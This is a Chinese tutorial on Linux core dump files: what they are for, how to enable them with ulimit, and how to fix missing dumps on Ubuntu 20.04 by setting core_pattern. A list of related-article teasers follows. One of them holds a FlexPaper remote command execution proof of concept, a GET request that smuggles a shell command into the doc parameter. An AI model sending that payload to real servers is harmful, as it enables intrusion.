【Linux】详解core dump文件的作用以及用法ubuntu20.04下无法形成core dump文件的解决办法

说明

        从第三大点开始讲解ubuntu20.04下无法形成core dump文件的解决办法。

一、core与term的区别

        在之前讲过的信号中,终止进程的信号的动作分为两种,一种是core,一种是term。term(全称termination)是直接终止进程;而core的动作同样是终止进程,但是core在终止进程的同时会给我们形成core dump文件。

二、core dump文件的作用

         当进程收到动作为core的信号发生异常退出时,将进程在内存中的核心数据(主要是与调试有关的核心数据)转储到磁盘中形成core dump文件,core dump文件可以帮助程序员定位到程序为什么退出以及是在哪一行退出的。它包含了崩溃时的内存状态信息,如变量值、函数调用栈等。core文件可以用来检查内存泄漏,因为它包含了程序在崩溃时的内存状态信息,通过分析可以找出哪些内存没有被释放。有时候程序崩溃是难以复现的,生成core dump文件可以帮助程序员在不同的环境中重现问题,以便更好地调试。利用core dump文件调试也叫做事后调试

三、开启core文件功能

在Linux系统上,core dump文件的生成默认是关闭的。

默认core文件的大小为零,也就是关闭的。 

下面是core文件生成的打开方法。

 ulimit -c 10240(设置core dump文件的文件大小,单位为kb)

         设置完成以后,我们就可以看到core文件的大小变为我们设置的大小了。下面我写一段测试代码:

#include <iostream>
using namespace std;int main()
{int a = 10;a /= 0;return 0;
}

         此时我已经设置了core文件的大小,core dumped功能已经打开,可在当前目录下却没有形成core文件:

这是在ubuntu20.04系统下会产生的结果,下面我会讲解解决的方法。

三、ubuntu20.04下无法形成core文件的解决办法

3.1、解决方法

需要在root用户或者是用sudo提权执行这条指令:

sudo bash -c "echo core > /proc/sys/kernel/core_pattern"

        在ubuntu20.04这个系统下,/proc/sys/kernel/core_pattern路径下的这个core_pattern文件的内容默认是空的,执行sudo  "echo core > /proc/sys/kernel/core_pattern"这条指令是用来设置内核的 core dump 模式的。当你设置core_pattern为 "core",系统会在程序崩溃并产生 core dump 时,将 core dump 文件命名为core而不是默认的带有进程 ID 和其他信息的文件名。 也就是说,形成的core dump文件的名称是可以自定义的,但我还是建议将core dump文件的名称就设置为core。

先设置core dump文件的大小:

执行该条指令,运行我的可执行程序,发生除0错误,这次就会形成core dump文件了。 

 core可以帮助调试,直接帮我们指定错误在第几行:

2、向core_pattern文件中写入内容时的细节

        这也是我在写入core到core_pattern文件中所遇到的问题。刚开始我是用vim向core_pattern文件中写入core的,但在保存退出的时候遇到了下面这个问题:

        原因是因为操作系统proc目录中的文件并不是实际的文件。/proc目录在Linux系统中是一个伪文件系统,它只存在于内存中,并不占用实际的磁盘空间。这个目录下的文件并不是真正的文件和目录,而是内核运行时的一些信息、状态和参数的接口。这些文件通常用于查看和修改内核参数、系统状态、硬件信息等。

        由于/proc目录下的文件并不对应实际的磁盘上的数据,因此它们不能被常规的文本编辑器(如vim)进行编辑。实际上,当你尝试使用vim或其他文本编辑器打开并修改/proc下的文件时,你实际上是在尝试修改内核的状态或参数,而这是不被允许的。所以修改/proc下的文件时更常见的是使用shell命令。

四、总结

        看了有的文章说禁用apport功能也能正常在当前目录下形成core dump文件,但是在ubuntu20.04这个系统下我已经尝试过了,并不能解决这个问题,大家也可以尝试一下这个方法看看。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML_CSS学习:CSS像素与颜色

一、像素 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>像素</title> </head><style>.atguigu1{/*单位可以是cm&#xff0c;但不能是m,dm*/width: 1cm;height: 1cm;background-c…

Java语法day1

Java语法day1 一、选择题二、编程题 一、选择题 1、派生类调用基类的构造器必须用到的关键字&#xff08;C&#xff09; A: this B: final C: super D: static 说明&#xff1a;调用父类的构造器或者父类的方法&#xff0c;要用关键字super 2、以下哪个接口的定义是正确的&am…

C++ string类

目录 0.前言 1.为什么学习string类 1.1 C语言字符串的局限性 1.2 C string类的优势 2.标准库中的string类 2.1 字符串作为字符序列的类 2.2 接口与标准容器类似 2.3 基于模板的设计 2.4 编码和字符处理 3.string类的常用接口说明 3.1构造函数 3.1.1默认构造函数 3…

GPU 架构与 CUDA 关系 并行计算平台和编程模型 CUDA 线程层次结构 GPU 的算力是如何计算的 算力峰值

GPU 架构与 CUDA 关系 本文主要包含 NVIDIA GPU 硬件的基础概念、CUDA(Compute Unified Device Architecture)并行计算平台和编程模型,详细讲解 CUDA 线程层次结构,最后将讲解 GPU 的算力是如何计算的,这将有助于计算大模型的算力峰值和算力利用率。 GPU 硬件基础概念GP…

Unity Timeline学习笔记(5) - 自定义轨道切片上变量Transform对象丢失,使用ExposedReference来解决。

问题 我在笔记(4)中后来又引用了Hierarchy中的Transform对象Transform obj&#xff0c;发现一些问题。 要么无法拖入进去对象&#xff0c;要么拖入进去保存后&#xff0c;再次编辑或者运行的时候发现obj丢失了。 我们还是用修改下笔记&#xff08;4&#xff09;的部分代码来…

linux查看端口占用

以3040端口为例 要查看在Linux系统中哪个程序占用了3040端口&#xff0c;可以使用lsof命令或netstat命令结合适当的参数。这里提供两种常用的方法&#xff1a; 方法1&#xff1a;使用 lsof 命令 lsof&#xff08;List Open Files&#xff09;是一个查看当前系统打开文件的工…

Django后台项目开发实战二

我们的需求是开发职位管理系统 三个功能&#xff1a; 管理员发布职位候选人能浏览职位用户能投递职位 第二阶段 创建应用 jobs&#xff0c;实现职位数据的建模 python manage.py startapp jobs 然后再 setting .py 注册应用&#xff0c;只需添加应用名称到最后一行 INST…

实验报告5-Spring MVC实现页面

实验报告5-SpringMVC实现页面 一、需求分析 使用Spring MVC框架&#xff0c;从视图、控制器和模型三方面实验动态页面。模拟实现用户登录&#xff0c;模拟的用户名密码以模型属性方式存放在Spring容器中&#xff0c;控制器相应用户请求并映射参数&#xff0c;页面收集用户数据或…

Golang实现一个批量自动化执行树莓派指令的软件(7)辅助模块-本地活动网络

简介 为了更方便的使用&#xff0c;我们将实现一个可以扫描本地连接网络中可用连接的扫描功能&#xff0c; 扫描本地连接网络中有哪些连接的设备主机。 环境描述 运行环境: Windows&#xff0c; 基于Golang&#xff0c; 暂时没有使用什么不可跨平台接口&#xff0c; 理论上支持…

Vue入门到关门之Vue介绍与使用

一、vue框架介绍 1、什么是Vue&#xff1f; Vue (读音 /vjuː/&#xff0c;类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是&#xff0c;Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与…

acwing算法提高之数据结构--可持久化数据结构

目录 1 介绍2 训练 1 介绍 本专题用来记录可持久化数据结构相关的题目。 本专题主要讲如下两类数据结构的可持久化&#xff1a; trie的可持久化线段树的可持久化&#xff0c;即主席树 可持久化的前提&#xff1a;本身的拓扑的结构不变。 解决什么类型的问题&#xff1a;可…

【图论】图论基础

图论不同地方讲的不太一样&#xff0c;本文仅限作者的理解 定义 图一般由点集 V V V 和边集 E E E 组成。 对于 v ∈ V v\in V v∈V&#xff0c;称 v v v 为该图的一个节点。 对于 e ∈ E e\in E e∈E&#xff0c;一般用二元组 ( u , v ) (u,v) (u,v) 表示 e e e&…

Linux 根据提交记录生成补丁及新旧文件对比

#!/bin/bash#解决/bin/bash^M: bad interpreter: Text file busy #sed -i s/\r$// test1.shCMD1$1 CMD2$2 CMD3$3 echo "CMD1 > $CMD1" echo "CMD2 > $CMD2" echo "CMD3 > $CMD3" # 运行时的入参 CMD1提交记录1 CMD2提交记录2 CMD3输出…

短视频素材有哪些方法获得?推荐8个短视频素材免费资源

在这个视觉内容至关重要的时代&#xff0c;拥有高质量视频素材对于任何视频创作者来说都是必不可少的。视频素材不仅可以增强叙事的深度&#xff0c;还能显著提升观众的参与度。为了帮助你找到理想的视频素材&#xff0c;以下是全球范围内提供顶级视频素材的网站列表&#xff0…

基于FPGA的数字信号处理(5)--Signed的本质和作用

前言 Verilog中的signed是一个很多人用不好&#xff0c;或者说不太愿意用的一个语法。因为不熟悉它的机制&#xff0c;所以经常会导致运算结果莫名奇妙地出错。其实了解了signed以后&#xff0c;很多时候用起来还是挺方便的。 signed的使用方法主要有两种&#xff0c;其中一种…

笔记-用Python脚本启停JAR程序

用Python脚本启停JAR程序&#xff0c;需要用到python中的以下内置模块 subprocess 是 Python 的一个标准库模块&#xff0c;用于在新进程中执行子命令&#xff0c;获取子进程的输入/输出/错误以及返回码等os 是 Python 的一个标准库模块&#xff0c;它提供了与操作系统交互的功…

金融案例:统一查询方案助力数据治理与分析应用更高效、更安全

随着企业数据规模的增长和业务多元化发展&#xff0c;海量数据实时、多维地灵活查询变成业务常见诉求。同时多套数据库系统成为常态&#xff0c;这既带来了数据管理的复杂性&#xff0c;又加大了数据使用的难度&#xff0c;面对日益复杂的数据环境和严格的数据安全要求&#xf…

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的&#xff0c;先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…

【蓝桥杯】第十五届蓝桥杯C/C++B组省赛补题

文章目录 估分试题 A: 握手问题试题 B: 小球反弹试题 C: 好数试题 D: R 格式试题 E: 宝石组合试题 F: 数字接龙试题 G: 爬山试题 H: 拔河 估分 测试网址&#xff1a;民间测试数据 5 0 9 5 2 5 18 2 46 5 0 9 5 2 5 18 2 46 50952518246 试题 A: 握手问题 #inc…

【PSINS函数讲解】IMU误差设置方法——imuerrset

所用函数 imuerrset 函数使用形式 此函数用于输入IMU的相关误差参数,返回对应的IMU误差设置,工具箱中的一般使用形式为: imuerr = imuerrset(0, 0, 0.01, 100);上述的四个输入为函数的基本输入,分别为: 陀螺仪常值误差(单位:/小时)加速度常值误差(单位:ug,即约为…